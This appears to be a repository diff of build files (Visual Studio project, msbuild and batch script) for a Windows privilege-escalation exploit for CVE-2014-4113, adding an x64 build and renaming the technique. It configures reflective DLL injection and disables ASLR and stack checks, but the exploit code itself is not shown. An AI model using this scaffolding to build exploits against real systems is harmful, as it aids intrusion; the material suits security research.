<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath> <CodeAnalysisRules />
</PropertyGroup> <CodeAnalysisRuleAssemblies />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking> <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<IntrinsicFunctions>true</IntrinsicFunctions> <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences> <SubSystem>Windows</SubSystem>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile> <TargetMachine>MachineX86</TargetMachine>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link> </Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile> <ClCompile>
<CompileAs>CompileAsC</CompileAs>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking> <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<IntrinsicFunctions>true</IntrinsicFunctions> <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences> <SubSystem>Windows</SubSystem>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile> <ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link> </Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile> <ClCompile>
<CompileAs>CompileAsC</CompileAs> <Optimization>MinSpace</Optimization>
<WarningLevel>Level3</WarningLevel> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<Optimization>Disabled</Optimization> <IntrinsicFunctions>false</IntrinsicFunctions>
<FunctionLevelLinking>true</FunctionLevelLinking> <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<IntrinsicFunctions>true</IntrinsicFunctions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<CompileAs>Default</CompileAs> <StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences> <GenerateMapFile>true</GenerateMapFile>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile> <MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link> </Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile> <ClCompile>
<CompileAs>CompileAsC</CompileAs> <Optimization>MinSpace</Optimization>
<WarningLevel>Level3</WarningLevel> <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<Optimization>Disabled</Optimization> <IntrinsicFunctions>false</IntrinsicFunctions>
<FunctionLevelLinking>true</FunctionLevelLinking> <AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<IntrinsicFunctions>true</IntrinsicFunctions> <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2014_4113_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<CompileAs>Default</CompileAs> <StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<OptimizeReferences>true</OptimizeReferences> <GenerateMapFile>true</GenerateMapFile>
<OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile> <MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link> </Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="cve-2014-4113.c" /> <ClCompile Include="cve-2014-4113.c" />
</ItemGroup> </ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

7
external/source/exploits/cve-2014-4113/make.msbuild vendored
View File

@ -4,14 +4,15 @@
<SolutionPath>.\cve-2014-4113.sln</SolutionPath> <SolutionPath>.\cve-2014-4113.sln</SolutionPath>
</PropertyGroup> </PropertyGroup>
<Target Name="all" DependsOnTargets="x86" /> <Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86"> <Target Name="x86">
<Message Text="Building CVE-2014-4113 win32k_null_page x86 Release version" /> <Message Text="Building CVE-2014-4113 track_popup_menu x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/> <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target> </Target>
<Target Name="x64"> <Target Name="x64">
<Message Text="CVE-2014-4113 is not supported in x64" /> <Message Text="Building CVE-2014-4113 track_popup_menu x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target> </Target>
</Project> </Project>

2
external/source/exploits/make.bat vendored
View File

@ -48,7 +48,7 @@ IF "%ERRORLEVEL%"=="0" (
) )
IF "%ERRORLEVEL%"=="0" ( IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2014-4113 (win32k_null_page)" ECHO "Building CVE-2014-4113 (track_popup_menu)"
PUSHD CVE-2014-4113 PUSHD CVE-2014-4113
msbuild.exe make.msbuild /target:%PLAT% msbuild.exe make.msbuild /target:%PLAT%
POPD POPD